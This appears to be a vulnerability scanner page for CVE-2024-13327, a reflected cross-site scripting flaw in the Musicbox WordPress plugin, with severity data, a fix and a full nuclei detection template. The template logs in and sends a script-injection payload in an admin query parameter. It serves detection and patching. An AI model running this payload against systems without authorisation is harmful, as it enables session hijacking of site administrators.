Musicbox WordPress - Reflected XSS

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/admin.php?page=webdesignby-musicbox&webdesignby-musicbox-filter=1"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>","musicbox")

Run it with nuclei: nuclei -id CVE-2024-13327 -u <target>

The full check

id: CVE-2024-13327

info:
  name: Musicbox WordPress - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/abc8f3e1-2aee-44f0-8ecd-0ea424c0540a/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13327
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13327
    cwe-id: CWE-79
    epss-score: 0.00584
    epss-percentile: 0.48233
    cpe: cpe:2.3:a:webdesignby:musicbox:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.component:"WordPress"
    fofa-query: body="webdesignby-musicbox"
  tags: cve,cve2024,wordpress,wp,wp-plugin,musicbox,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=webdesignby-musicbox&webdesignby-musicbox-filter=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>","musicbox")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from